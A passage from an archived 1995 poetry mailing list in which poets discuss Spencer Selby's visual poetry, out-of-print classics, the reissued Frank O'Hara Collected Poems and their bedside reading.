maybe. Hackneyed? Certainly, & part of its (for me) charm. Ron, you point out the anachronistic nature of the visual material used, and the second (of 3) epigraphs seems to address that:

> The beginning, the awakening, offers itself only at the
> end as its inscription, by the writing of the
> remembrance, in its working out.
> --Jean-Francois Lyotard

Another possible reason for Spencer's interest in the often (though not always) "anachronistic" imagery has probably to do with what was available when he was growing up, when he was young & impressionable, the things (ideas that images reinforced) experienced then. I remember at a slide show-reading of Bernadette Mayer's _Memory_ (I think it was), Barrett Watten asking of Bernadette: "Don't you feel that the cars, the clothing, the hairdos, the things you've captured on film here, "date" this piece?" Couldn't tell whether or not "date" was in the "bad" sense of this word. (Like, the way some people feel about Donald Barthelme's writing--"period" writing.) Well, Spencer's work, I think, uses so much of the iconography of the 40s & 50s because that's when he grew up (as Bernadette's piece was certainly a record of a specific time period), & the sort of "defining" characteristics, the negative ones at least, of that particular era are what he seems to be working against in these visual pieces.

I'm going out on a limb with that because only Spencer can tell you whether or not this, indeed, has anything to do with his impulses. But, "hacking" and "mining" (drilling, too) are, for me, much of what's going on here (mining memory, personal and cultural, as well as Salvation Army-type stores for books with these kinds of images). Much of this work does seem self- referential--to me, at least. As far as a "close" reading of any more of these images, maybe I'll do that with a couple & send them to you by direct e- mail, or snail-mail. I think it can be done, I'd love to do it, but felt--given the public nature of this medium--it might be more interesting to those reading (w/out copies to look at) to talk more generally about the book. (Like, maybe I think it's "not fair" to talk specifically about something here since I can't reproduce the actual piece, given its visual nature.) Again, I'd really like to hear what Spencer has to say about this book. Thanks again, Ron, for asking. I can't hope to make a convert of you (or anyone else), & that's not my intention; in fact, as perverse as this sounds, I really appreciated getting to write about this as it made me think about my own interest in this sort of work, in "found" work, in "minor" work, & so on. So, again, many thanks. Anyone who hasn't left this post out of total boredom might be wondering: "Well, heck; how & where do I *get* this book?" _Malleable Cast_ was published by John Byrum's

Generator Press
8139 Midland Drive
Mentor OH 44060
U.S.A.

It's $10.00 (not sure if you need to include shipping). Byrum's published numerous books & magazines over the year--most (maybe all?) being visual poetry in one form or another. Write and ask for a catalogue or list of "in print"s.

I have to go eat something,
Yours,
Gary

↑ Index

221. **Tony Green**
Re: Lost Classics
Wed 15 Mar 1995

One more on a different track from Ron Silliman's
------ [I'd likewise
include the Grenier Sentences from which at random

" saids "

" muddy flavors tending off the horse couch button "

" that's a sedate car
now early to rise "

like other Grenier poems forced some decisions for me, besides which
his playing of continuous non-scoring table-tennis is
also important, ((reminding me that Ben
Nicolson's pastime was a table-tennis of a curious
sort, with a block of wood instead of a net, from
which he was expert at getting subtle bounces)).]

THE OTHER TRACK What ever happened to the collected O'Hara. It was out of print in hours or minutes, so it seemed. The Selected was all I ever got, in paper-back, with Larry Rivers drawing on cover. Has the collected ever been reprinted?

[the blue (faded) box of
SENTENCES which remains
like a fetish object in my office on campus
because my wife Judi had the sense
to buy it, 1983]

Thinks: I've never even sighted the Axon-Dendron Tree!

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

222. **Tony Green**
Re: Reading Selby
Wed 15 Mar 1995

Gary Sullivan's doubts about the interest of what he
is doing.

Dear Gary,
yr close/intinmate reading of Selby is
fascinating to one who has not seen the book, imagining
the images and text only from what is said -- as
exciting as any 'ancient' ecphrasis for any renaissance
painter. The pressure on exact indication turns

the prose on I suppose. (I go searching for Ezra
Pound's inistence on description, the
tale of Prof Agassiz's fish) I am dis-
appointed to think you won't continue
with it on the Poetics List. Lucky Ron.

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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223. George Bowering
Re: bedside reading
Wed 15 Mar 1995

My guess is that responders re the question of bedside reading will cook the books. Not me, though. I'm rteading (it has been on my must-read-immediately shelf for years and years) Burroughs's _The Western Lands_. Verrrry relaxin'.

↑ Index

224. Blair Seagram
Re: Goya's LA, a play by Leslie Scalapino
Wed 15 Mar 1995

Please take note of the following if you happen to be in NYC on March 24th.

Jandova CoMotion Inc.
and
Drogue
present a work in progress
on scenes from
Goya's LA

a play by
Leslie Scalapino

at
Context
28 Avenue A
(between 2nd & 3rd)

New York, NY 10009
on
Friday March 24th, 1995
at 8:30 pm

For reservations call [redacted]
Suggested donation $7

or reply to [redacted]
Blair Seagram

↑ Index

225. **Loss Glazier**
Re: Lost Classics via Silliman & Joris
Wed 15 Mar 1995

Pierre, Ron, and others -

> *them to do his new longish poem MONT BLANC, a lovely work, btw. There exists thus an electronic version of ADT, as Pat had set the poem -- & I have mentioned to Loss that this wld also be the kind of work eminently suited to the purposes of the Poetry Archive. I haven't had time to talk to RK (hello Robert) about it, but will, & have done so herewith as he is a reader of this list.*

I would, of course, argue that this is precisely the role of an electronic poetry archive. For those people really intent on reading the Many instrumental works branded with the o.p. stamp, there's little recourse, especially if they are not in the academic circles that allow funding to travel to special collections, or unless they know someone with an Extraordinary collection ...

op prices are extremely prohibitive - and if one were to make an argument that electronic versions of texts don't help the author financially, I would leap in to say that op priced texts help even less, as the text moves from circulation to an object of fetishization.

Of course, I have seen a number of postings here and there that electronic copies actually boost sales of print works when both are available. People in places not sporting comprehensive bookstores like to browse too...

Further, the electronic "fascimile" of the work would offer the text but would by no means ever preclude its reissuance in print nor (if currently in print) eclipse a physical presence. I think the recent flurry of posts on physical parameters of texts would insist on this as well.

> *Except for Grenier's book, most all of your "lost classics" cld in fact be brought back into a electronic poetry archive, until some gutenbergian enthusiast is ready to reprint them. Or does that*

> *sound like some cyber-holding tank or some post-xtian limbo 'twixt pardiso of print & inferno of o.p.?*

So, not meant to me argumentative here in any way. Pierre and I have spoken and do agree, methinks, about the place of electronic versions of some texts.

I mean, op only means one of two things in these cases - not commercially expedient - or - the publisher decided it was time to put food on the table again, rather than give it to the printers. (Unless they were also the printer, in which case they might have decided to cut back from forty hour weeks...)

As I say, not to argue anything here but to throw my (not entirely unbiased) vote in for the electronic editions idea. I say, there are many many on the list for whom I've found citations for books but could not find an in print copy. I would guess that in this case for most interested readers, the text would not get read.

As such, a kind of call to those who might be authors of these classics. Contact me or Ken Sherwood via the list or privately ...

My feeling is that we've got a tremendous resource in the Electronic Poetry Center author library and I turn this "second" to Pierre's motion into a suggestion that one very productive development of these valuable discussions of "classics" might be to have them equally at our fingertips.

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226. Chris Stroffolino

Re: Lost Classics

Wed 15 Mar 1995

Tony--Somehow I managed to get a copy of the hardcover collected at a BORDERS bookstore (of all places) as late as 1991--people told me that it was impossible--it's out of print--but i somehow "got it"-- Anyway, i've been reading through it--there are many poems circa 53,54 that are lyrically quite modest and very intense that didn't make it into the SELECTED--these don't get talked about much. People seem to think he grew beyond them--but there's something here that often gets eclipsed by the more public "i do this" kind of of poem....Chris Stroffolino

↑ Index

227. Loss Glazier

Re: Lost Classics via RS & PJ (Minor correction)

Wed 15 Mar 1995

---

though not a major point by any means

... that was meant to read _eighty_ hour weeks ...

- lpg

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228. **Colleen Lookingbill**

Re: My Reading Selby

Wed 15 Mar 1995

"Malleable Cast" can be read as a story, from first to last image. I took the Basilius Valentinus quote at the beginning to be an alchemical metaphor like "as above so below" or the transformative effect of spiritual fire creating and burnishing a soul (our philosopher's stone) into something more than the grossness of common reality, but at the same time "the ordinary of his commonplace."

Reading the book as a story has you starting out with the young boy and his mother going up the metaphorical ladder (she is pushing/helping him) and ending with the young boy holding his tank or whatever that is in his hands out to the world. In between you have the magical creative and alchemical processes formed by word and image that lead to the smiling lad's "patience of the test of the world. longer passions of there is no" All the images and text as they appear seem to tell the story of the "remembrance, in its working out." the Lyotard quote at the beginning of the book.

I agree with Gary the images are from the forties and fifties and operate on a subconscious as well as conscious level to evoke that time in this nation's world building that has us where we are today. The technology and the medical diagrams shown here are fascinating frightening and funny. A woman and young girl stand in profile blindfolded. I had to see this as the way woman were (still are?) when faced with survival in a culture that is antagonistic to the inner most value systems we possess. Words float up and then away as you try to read the poem and the image at the same time. This effect of this book feels very much like my own creative process where the words just seem to appear before me and then create an imagelife of their own on the page that is neither nature nor technology nor biography nor emotions but some other space wanting to get charted. Responding to this art/visual poetry takes place in the guts as well as brain - anything less will be pretty cold for this hot little black and white world.

Colleen Lookingbill

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229. **thomas c. marshall**
reading habits
Wed 15 Mar 1995

What the students are into here is clothes
reading where style becomes content
with itself by seeing how wrong everybody
else's is.

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230. **Blair Seagram**
Re: Olson, Visual Poetry, Top Ten
Thu 16 Mar 1995

My first question concerns Olson. Since I logged on here I have been catching bits and pieces about Olson, until tonight when I read lots of references to him. Has something happened recently that has provoked all this discussion? It's odd because a friend of mine recently pulled "Call Me Ishmael" from my bookshelf and got totally involved in quite a critical way. He totally rejected the book until the chapter on Shakespeare at which point he became enthusiastic.

I don't really have a second question, rather a comment. I like the discussion on visual poetry, because that is more or less where I am coming from. This bulletin board, the way it is now configured, for me at least, is not what I would call visual. In fact I think it discourages visual presentation. Nevertheless it is extremely seductive.

As far as the top ten go, Kenny , all I can say is music, radio, poetry.

What is good about being part of a group of people without a rigid hierarchy is the spontaneous. The fact that important works of art have been lost is very disturbing. However, an idea can be passed from one individual to another. I am enough of an egoist to want people to know who I am, but I also know that great works of art have been produced anonymously by groups of people. Not an easy postion to take in an environment that stresses the individual, but one that might help us into the future.

bs

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231. **Ron Silliman**
Re: Books (reply to Luoma & Silliman) {long!}
Thu 16 Mar 1995

Eric,

Everybody should be on the catalog list for Small Press Distribution, 1814 San Pablo, Berkeley, CA 94720, leading distributor of poetry in the USA.

Phone [redacted]

All libraries should have a standing order for its books. (And someone should post this on the T-AMLIT list too.)

Ron

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232. H. T. KIRBY-SMITH
Gregory Corso
Thu 16 Mar 1995

Next I wonder if anyone knows whatever happened to Gegrory Corso, and also if anyone knows why his poetry was cut out of the second edition of the Norton Anthology of Modern Poetry. Seems to me he was rather indifferent to reputation, like some other people I've heard of. He seemed a kind of comic Whitman to me. I keep him going with xeroxes.

Oh it was good to hear about the Mina Loy revival. And I look forward to seeing Cendrars made available in English--"Blaise, est-ce que nous sommes tres loin de Monmartre?" (Song of the Trans-Siberian Railroad).

Would you believe that Mina Loy was one of the poets most admired by Yvor Winters, at least when he was a young man--when he and Williams were still on terms of mutual admiration?

Tom Kirby-Smith

↑ Index

233. James Sherry
Re: You can't make an omlet if you can't get your hands on the eggs
Thu 16 Mar 1995

In response to several messages and again to Kenny Goldsmith, the Segue Catalog which was published by Segue from 1981(?) through 1994 was a curated list of what I and a few others thought was each year's best new publication and the most important of the past few years. Usually books stayed on the list only three years, although some books, by their centrality were kept on longer. I also kept Roof Books on as long as they were in print. This then represents the list of books that the poets chose, primarily east coast writers, although the major west coast writers were polled every year by mail. Some responded regularly and some didn't. Since I don't remember all the names of the people who contributed to the list I will not mention names for fear of

angering someone I forget. The list is pretty accurate in terms of how the material was collected. Over 100 publishers were asked for their list of books. People who are new to the poetry group would have been on the list had they been around as late as 1993 and actively going to readings. Someone like Kenny it has been pointed out might have received 5 or 6 copies. There were generally about 10,000 copies of the list circulated which made it the widest circulation publication in this poetry circle. Lists included were the Segue Foundation list, MLA selected lists, and library lists. When NEA defunded the list I asked people if anyone could help it to continue, but the $10,000 short fall was too much for anyone to bear to accommodate my taste and the taste of a few poets who were willing to donate their curatorial time. So 1994 was the last list.

Again, I will send out the compiled list when it's completed.

James

↑ Index

234. Gary Sullivan
Re: Lost Classics
Thu 16 Mar 1995

Dear Tony Green & other O'Hara readers,

The _Collected_ was actually just reprinted by University of California (I think) in paperback, maybe a couple of months ago. I've already seen it in a couple of bookstores. Selling for something between $15 and $18 (U.S.).

↑ Index

235. Bill Luoma
Re: Reading Selby
Thu 16 Mar 1995

Tony,

Do you have an explication of ecphrasis? Were there words on Achilles' shield?

Bill Luoma

↑ Index

236. Alan Golding
Re: Lost Classics
Thu 16 Mar 1995

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

Tony (and everyone else):

The Collected O'Hara is in fact just now back in print, in paper from the University of California Press. Got mine in the mail just 2-3 days ago. As a consultant on the project, I suggested that they try to price the book to make it competitive with the Random House (I think) Selected, hoping that for a couple of bucks more teachers, for instance, would be willing to order the Collected over the Selected for classes. So please consider that possibility if you're in the business of teaching O'Hara. And all interested parties who are not will hopefully want to have the book anyway . . .

Alan Golding

↑ Index

237. eric pape
Re: Books (reply to Luoma & Silliman) {long!}
Thu 16 Mar 1995

Thanks Ron. I do get most of my stuff spd, but I know now to get the catalog list. What I'd really be interested in is something like spd on line, maybe just because I've become so instilled with the pace of e-mail, regular posts seem terribly slow. Does anyone know of an electronic poetry archive that is comprehensive and quick? Thanks again, Eric.

↑ Index

238. Gary Sullivan
Re: Reading Selby
Thu 16 Mar 1995

Dear Colleen, Tony Green & inbetween, Tony: okay, I won't hold out on you. Was very glad, Colleen, you posted about _Malleable Cast_--you're absolutely right that this's to be taken in thru the gut as well as the head. And what you say about the two blindfolded women in profile sounds absolutely right. (Note how the word "SHE" falls right there, on the taller woman's blindfold.) & Colleen, what you say about _Malleable Cast_ being read as a narrative sounds absolutely right, too. The book is, after all, squarish, one visual per page, sort of like a storyboard, or successive film stills. I wonder, though, about what's gained (vs. what's lost) reading the book from cover to cover, without considering other options. You're right; the two images opening & closing the book are closely related. But, note that the woman pushing the boy up the ladder (first image) is pushing him *out* of the book (to the left, against English-language reading, which goes from left to *right*). (& that's not something I thought about so much, but felt, in my gut.) Since Spencer's doing these things on transparencies, I'd imagine if he wanted to, he could easily have

reversed this image so the boy was being pushed *into* the book, not out of it. (*That's* something I thought about.) Also, consider the title: _Malleable Cast_. Cast as in "cast of characters" (so narrative's right on here) or in the sense of something being cast (a line, as in "fishing"--what both you & I are doing writing about the work, as well as how Spencer put it together, physically) or, finally, in the sense of a cast, like a mould. But, it's "malleable"--thus working against the idea of characters in the workshop sense (w/traits that *determine* character), and also against a linear reading--from cover to cover--of this book. Sure, this (these images, in this order) is how it's been cast, but the impulse (suggested by "malleable" in the title) seems to be suggesting that the reader might work against that. Myself, first I read this book from the center out, as the images on both ends seem "exits" of a sort. But, it can be read otherwise, too. (I always remember Spencer as being the person who introduced me to Chaos theory, which seems to work against linearity.) This is not to suggest that there isn't a narrative element working here: I think you're right, Colleen; there is. And also, again, your reading of the epigraphs seem dead on, having much more to do with what's here than what I'd (first) taken from it. So, thanks for your splendid reading. Spencer? How come you've been silent through all this? Did you construct this book as a narrative? As a linear narrative? How do you feel about our readings--encouraged? Discouraged? These aren't rhetorical questions, my friend ... this seems a great opportunity to get an author's response to readings ...

Yours,

Gary

↑ Index

239. Kit Robinson
Books on My Table
Thu 16 Mar 1995

Reply to: Books on My Table
Here is some of what I have been, am, or will be reading --
lately, currently, presently:

Tom Raworth, Frames (Riva San Vitale: Giona Editions, 1994)
Chris Tysh, In the Name (Hamtramck: Past Tents Press, 1994)
Jessica Grim, Locale (Elmwood: Potes & Poets Press, 1995)
Kenneth Rexroth, Bird in the Bush: Obvious Essays (New York: New Directions, 1959)
Marguerite Duras, Four Novels (New York: Grove Press, 1965)
Helmut Heissenbuttel, Texts, trans. Michael Hamburger (London: Marion Boyers, 1977)

Etel Adnan, The Spring Flowers Own & The Manifestations of the Voyage (Sausalito: Post-Apollo Press, 1990)
Bruce Andrews, Strictly Confidential (Gran Canaria: Zasterle Press, 1994)
Wystan Curnow, Cancer Daybook (Aukland: Van Guard Xpress, 1989)
Rodger Kamenetz, The Jew in the Lotus (San Francisco: HarperCollins, 1994)
John Yau, Hawaiian Cowboys (Santa Barbara: Black Sparrow, 1994)
The Collected Poems of Langston Hughes (New York: Knopf, 1994)

Regards,
Kit Robinson
[redacted]

↑ Index

240. **Tony Green**
Re: Achilles' shield
Thu 16 Mar 1995

Bill Luoma (et al) " Were there words on Achilles' shield?"

The last word on Achilles's shield was Homer's, I believe.

Seriously, as a proposal, why not a shield with words on it for Achilles? However, the series: words - rebus - image (or another series words-theatre-image?) allow transition from word-text to image to become comprehensible. Perhaps. Anyone have any ideas on this?

But the Selby book sounds like it's mixed image and text, which makes the effort to ex-plain in it in order to convince Ron Silliman of it's value(s) stress the functioning of the image-in-the-text. Word-text would be simply reproducible/quotable on e-mail but the particular appearance of this book is "transmitted" (translated, betrayed) via word-text only. That's why I was fascinated by the resultant posts of Gary.

Best wishes,

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

241. Tony Green
Re: Lost Classics
Thu 16 Mar 1995

Chris S and Alan G,
Thanks for posts re- lost Frank O'Hara. I'm glad to know the collected is available again -- and that it's in use....

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

242. Spencer Selby
Re: Two Poems For Ron
Thu 16 Mar 1995

Two poems for my ambivalent friend Ron.
(One is for close reading, the other for misreading.)

THE SENTENCE for R. S.

I thought illusion belongs in a book

words to living pink of life for whom
the growth more native force is not
my chance to draw forth curious

feeling perpetual transit apparent
feeling necessary light above gray

sacrifice arm all promise nightly
that I would speak more softly

in a hush eternal loving to survive

the tongue the body race
in uniform newly washed

dead weight through a swamp
warning camouflage thought as jealous
limits of capital

back door horizon sensitive rub
cost of production inheritance flaw

to the living remembered
reason curious word into matter for

doing what keeps us alive

THE SENTENCE for R. S.

I thought reality belongs in a book

words to living pink of life for whom
the growth more native force is not
my chance to draw forth curious

feeling perpetual transit apparent
feeling necessary light above gray

sacrifice arm all promise nightly
that I would speak more softly

in a hush eternal loving to survive

the tongue the body race
in uniform newly washed

dead weight through a swamp
warning camouflage thought as jealous
limits of capital

back door horizon sensitive rub
cost of production inheritance flaw

to the living remembered
reason curious word into matter for

doing what keeps us alive

↑ Index

243. Patrick Phillips
Bedside Books
Fri 17 Mar 1995

The only book by my bed for the last week and a half has been the new "Collected O'Hara." I've been sleeping very well after my 20-40 minute perusings.

Though the book's a treasure here's one I keep passing through - POLOVTSOI (p 430)

white
blood
dead
when
ate
fear
yes
red
scare
pearl
die gay
black
fit
saturdaynight
parse
fend
flame
contend
disperse

Can anyone tell me what Polovtsoi is? Polovoi (with various endings) in Russian is in one meaning an adjective - sexual. But I'm not sure of this at all, particularly with the -tsoi ending. I could be way off the track.

↑ Index

244. Chris Stroffolino

Re: close reading

Fri 17 Mar 1995

An open question--When people read (whether it's "close or not"--you decide what to call it), do you (plural) tend to mark up the margins alot? Do you sit there with a notebook? Do you find that you write more WHILE reading--(I i.e. do you read to write), or do you see these as discrete activities more often than not? If you do write in the margines alot does that have something to do with whether you like long-lined or short-lined poems? Does the kind of poem Spencer Selby just posted "turn you on?" By "kind of poem" I mean a certain

kind of balanced lyric formal diction and tone that is not in much contemporary poetry I'm aware of...a refusal of gaudy gimmicks...a poem that "looks like a lyric" in a certain old-fashioned sense allegedly of "gem-like" White Buildings Crane--or at least the momeory of it, a certain modesty that is also authority...Personally I tend not to separate reading and writing much...I am interested in a discursive mode of close reading that doesn't exist until I do it...I am in academia now and am trying not to let that get in the way...or am trying to find a way NOT to let it get in the way...The great taboos surround seemingly in force...One could say they're only in "the mind."---Chris Stroffolino

↑ Index

245. Chris Stroffolino
Re: close reading
Fri 17 Mar 1995

Addendum:--When I say I am in academia now and am trying not to let that get in the way, I am aware that this statement can also apply to editors. There are several editors of magazines, journals and books here "on line," I am curious what they feel their involvement with contemporary poetry manuscripts is like...Partially because that is not as much what i'm reading now as dead people (though not just "white guys"), I mean IS dead people--I'm curious about other people's "balancing" between not just between "dead" and "alive" writers... but also about what they feel this does to their sense of poetry or writing or whatever...(you could talk about MUSIC too, do rock lyrics effect your writing sometimes more strongly, assuming you're VERBAL suggestive, if not quite STRICTLY referring only to other texts... Chris

↑ Index

246. Ron Silliman
More Sixties Gold
Fri 17 Mar 1995

Thinking further of great books from the 1950s and '60s that definitely deserve to be preserved and put forward.

When the Sun Tries to Go On by Kenneth Koch. This 113 page poem is one of the founding documents of the New York School. It was published in a little magazine called Hasty Papers and then released as a book by Black Sparrow in 1969 with a cover and 5 collages by Larry Rivers in an edition of 1500. It's never been republished and Koch chose not to excerpt from the poem in his

Selected Poems in hopes of eventually having the whole again in print. It's the most spontaneous and surreal work of Koch's.

Poem of the Cid, translated by Paul Blackburn. The goofiest publication of a major poem during that entire decade and maybe ever this appeared as a "Study Master Publication" in 1966, a competitor with Cliff Notes. It's an infinitely better poem in English than the Merwin (as anything by Blackburn is, even tho I admit that I admire some of Merwin's work. This was the source for Dorn's Gunslinger epic. 151 pages sans Spanish in the original.

Others that come to mind include John Weiners' Hotel Wently Poems (the impact of that book, with the Robert LaVigne illustrations, gets lost in a larger gathering, as does Spicer s Language, for example; my copy of the Weiners originally belonged to Bill Bathurst during his heavy recreational pharmaceuticals period, bleary pen doodles everywhere; Keith Abbott tells me he s cleaned his act up and is now serving as a consultant to one of the post-communist countries in Eastern Europe), Joanne Kyger s The Tapestry and the Web, Phil Whalen's On Bear's Head (Norman Fischer is working on this as we speak), Kathleen Fraser's What I Want, Curtis Faville's Stanzas for an Evening Out, and possibly Tom Clark's Neil Young. There are some critical texts that also would warrant rescuing: David Ossman's The Sullen Art, the original Olson/Creeley Mayan Letters.

↑ Index

247. Tenney Nathanson

Re: POETICS Digest - 15 Mar 1995 to 16 Mar 1995

Fri 17 Mar 1995

>Associate Professor of English, U. of Louisville
>Phone: [redacted]; e-mail: [redacted]
>
>Tony (and everyone else):
>
>The Collected O'Hara is in fact just now back in print, in paper from the
>University of California Press. Got mine in the mail just 2-3 days ago.
As a
>consultant on the project, I suggested that they try to price the book
to make
>it competitive with the Random House (I think) Selected, hoping that for a
>couple of bucks more teachers, for instance, would be willing to order the
>Collected over the Selected for classes. So please consider that possibility
>if you're in the business of teaching O'Hara. And all interested parties who
>are not will hopefully want to have the book anyway . . .

>
>Alan Golding
>

Alan--

bravo and kudos (and huzzahs!). will do, absolutely.

I have a couple/few copies of the collected as first published, designed to be a big book that would look something like the Stevens Collected apparently. The cover on the Selected (the Rivers sketch w Frank's prick prominently displayed) was supposed to be the cover to the original hardbound and I THINK that there were a very few of those distributed (rather like a stamp w the flag upside down now....) before Random House chickened out (all this, baffled by several years [loss of] memory from David Shapiro); but the bowdlerized version has an absolutely beautiful photo of Frank on the cover.

Did "Berdie" get restored to the index (it was in the table of contents but not the index in the Collected, and NOT in the Selected--a really beautiful poem)? There are a number of other amazing poems not in the Selected, so this is Good News Indeed!

Tenney

↑ Index

248. Ron Silliman
Re: Bedside Books
Fri 17 Mar 1995

Books I'm either reading or about to that I forgot because I was scribbling my email at work (avoiding the completion of a white paper on "What is PC Asset Management?"):

Culture on the Brink: Ideologies of Technology, edited by Gretchen Bender & Timothy Druckrey (Bay Press' DIA series), with pieces by Stanley Aronowitz, Paula Treichler (Cary Nelson's SO) on AIDS and Identity, Langdon Winner, Laurie Anderson, Avital Ronell, and Andrew Ross. Anderson is the only one I didn't actively solicit for work when I edited Socialist Review. These other folks are all terrific, but I will be very curious to see if they actually understand what they're talking about in this terrain. If I had a dime for every bad piece of writing on technology meets culture, I'd never work again.

New Left Review 209 (Jameson on Derrida & Marx, Stuart Hall on Carribean identity, Geras on Rorty, some other excellent looking pieces [meaning I haven't read them yet]). Looks like the best issue of NLR in about 5 years.

Made to Seem, Rae Armantrout's new book from Sun & Moon. This is rereading really, since I see most of these poems in manuscript first (often in ten or twelve different versions with just one word or a line break altered). Seeing them in a book is always a curious experience for me since it means that they have now been "pinned down" in a way they seldom seem to be "in life." Here's my favorite this week:

MY PROBLEM

It is my responsibility
to squeeze
the present from the past
by demanding particulars.

When the dog is used
to represent the inner
man, I need to ask,
"What kind of dog is it?"

If a parasitic
metaphor grows all
throughout--good!
Why stop with a barnacle?

A honeysuckle,
thrown like an arm,
around a chain-link fence,
would be far more

articulated,
more precisely repetitive,
giving me the feeling
that I can go on like this

while the woman
at the next table says,
"You smell pretty,"

and sends her small daughter's
laugh, a sputtery orgasm,
into my ear--

though this may not have been
what you intended.

It may not be a problem
when I notice
the way the person shifts.

Rae's poems often have the hallucinated clarity of a dream state (maybe in this case, with the decidedly incestuous undertone of the mother initiating the daughter's "orgasm," one of the dwarf dreams out of Twin Peaks). Behind that lucidity the "narrative frame" is often either unclear or unimportant compared with the rhetoric or structure of the argument at the surface (a particularly Lacanian view of content I suppose). I can't tell if the Bromige allusion in the title is intended or not.

There's also a lengthy piece on Armantrout (the first that I'm aware of) by Jeffrey Peterson in the new Sagetrieb. I continue to be amazed that Rae hasn't been the "crossover" success of LangPo & G1 generally, but where some fall back on beauty, humor, or anger posed as satire, Rae never pulls punches in her work. The largest book to date is a selected published in France in French. Amazing!

Ron Silliman

[redacted]

↑ Index

249. Kenneth Goldsmith

Books by my bed

Fri 17 Mar 1995

>
> Books by my bed:
>
> 1. Frederic Spotts "Bayreuth: A History of The Wagner Festival" (Yale
> University Press, 1994). I heard Spotts speak to Stefan Zucker, host of
> the now sadly defunkt "Opera Fanatic" show on WKCR, 89.9 NYC, for 4 hours
> giving the real dish on the Nazification of the Festival (eg: Hitler's
sexual abuse of the young Wieland Wagner). This book gets even diriter &
> deeper and unlike most books I've read on the Festival, this is juicy
> stuff. Wonderful read.
>
>
> 2."The Gospel of Sri Ramakrishna" by M (Vedanta Press, 1942) M was to
> Ramakrishna what Boswell was to Johnson. Need I say more? This is a
> permanent nightstand fixture.
>
> Next up: "The Tunnel" by William Gass. Anyone read it?
>
>
> Peace, Kenny G

>
> Shoutouts to Blair, James, Charles A., Chris C., Gary, and Kit--thanx for
> the responses
>

↑ Index

250. Mn Center For Book Arts
Re: More Sixties Gold
Fri 17 Mar 1995

This takes things from the sixties into the seventies and even eighties, but people on this list should also know that bp Nichol's The Martyrology has been re-issued by Coach House Press, Toronto (always difficult to find in this country, but perhaps SPD has them (at times they've had Nichol's work & Coach House titles, but not consistently, the fault, I believe, not being theirs, rather Coach House & the difficulty of dealing with customs, etc.). These works are 9 volumes in, I believe, 6 books. They are most definitely worth the read, although Nichol's other collections have a variousness I am often drawn to even more. (Thanks again, Joel K. & Bill H., for taking me to Toronto recently to see the concrete poem in the concrete on bpNichol Lane).

As to reading, beside my bed are John Cage: Composed in America, ed. M. Perloff & C. Junkerman (Univ. of Chicago Press, 1994), Robin Blaser's The Holy Forest (Coach House, 1993), How to Make an Antique (artist's book by Karen Wirth & Robt. Lawrence (pub. by the artists, 1989), Kevin Magee's Tedium Drum (lyric &, 1994). I'm carrying around with me Kit Robinson's Balance Sheet (Roof, 1994) and various books of poems by Emily Dickinson (I seem to do that periodically). I'm looking at Keith Smith's Non-Adhesive Binding, which gives fantastic ideas & instruction for real & possible book structures. And I'm reading Tom Peters's The Pursuit of Wow, which is very silly, but refreshes me on the need to be creative in managing & directing an organization and the people who work with me there. I'm also reading manuscripts by Anne Tardos and typesetting/designing manuscripts/books by Mary Margaret Sloan and Myung Mi Kim. A manuscript of sonnets by Tom Mandel is never far away, trying to figure its best way to become the astonishing book it needs to be.

all best,
charles alexander

↑ Index

251. Patrick Phillips
Re: "Berdie" and "Berdie, Berdie"
Fri 17 Mar 1995

The first line of "Berdie" is in the index, yes. Another poem, "Song of Ending," starting with "Berdie, berdie" has a particularly Rilkean feel to it, ending with:

...they disappear with one

last cry, not echoing, and then
the emptiness is full of light.

Berdie, not to be sad and crazy,
all birds hide what the have lost.

compared to another ending:

...and distant calls of birds , while in the sky
the starry nights of another, sweeter country
blossomed above them and would never close.

from Rilke's "Tombs of the Hetaerae." In all likelyhood this is just chance, or a habit of mine of forcing pieces of the puzzle together. It would be interesting to find out, if anyone knows, O'Hara's feelings toward Rilke and whether he'd ever been known to carry around a copy of "New Poems."

↑ Index

252. I.LIGHTMAN
anew strain?
Fri 17 Mar 1995

"the rage of Caliban seeing his own face in the glass"

1.
Anew strain. A new strain with the look of the mainstream.

2.
Fragmentation. Is what most do, read a whole text that might challenge their values, but never be sobered by that, jump, hop, scotch.

3. Language. Making a fashion, shared agenda, purity, is exactly what those who write "communicative" poetry, with "images" and "feeling" do; and they feel we exclude them as we they do us - though they hold more money in the market.

4. Camp. Ashbery homage. As if one were Ashbery, imagining a political agenda for his work that John himself doesn't have; very simple politic "accept gays" and then lots of in-jokes, and exclusionary tactics for those not in the polari syntax. "Savour painting more", as well, perhaps.

4. Fragmentation. As indication that one had in fact read and loved the whole of Dante and Ovid, and one's own poem is a furthering synergy, overhearing the private and succinct conversation of Dante and Ovid knowing and loving each other utterly and planning a collaborative project.

3. Originary energy 1978-82. G1, not easy to take the pot calling the kettle over-boiled when both thin the paint for yet another go at a one-colour abstract canvas, G2. Re-feel a feeling? A fell, a high hill, re-fuel.

2.
Derrida's Cinders. Cannot go back (to 1968-78), the furthering synergy
says something of his carriage makes good pumpkin broth.

1.
Fragmentation. One glimpses angel in one lost to routine.

"the rage of Caliban not seeing his own face in the glass"

↑ Index

253. **Ryan Knighton**
Re: bedside manners
Fri 17 Mar 1995

Currently I am re-reading/re-viewing the bp Nichol collection "An H in the Heart". Taken before beddy-byes, this book will allow you to have two to three dreams at once. Or so it seems.

↑ Index

254. **Chris Stroffolino**
Re: "Berdie" and "Berdie, Berdie"
Fri 17 Mar 1995

Dear patrick--interesting question--I always had this hunch that early Rilke, such as "Tombs" is more like O'Hara, whereas Duino Elegies is more like Ashbery. Perloff, I think, links Three Poems to Notebooks of...Brigg...and in her book on O'Hara claims some Rilke influence on him, but this is a question that could be looked into further...Chris

↑ Index

255. **Chris Stroffolino**
Re: Doug Messerli
Fri 17 Mar 1995

---

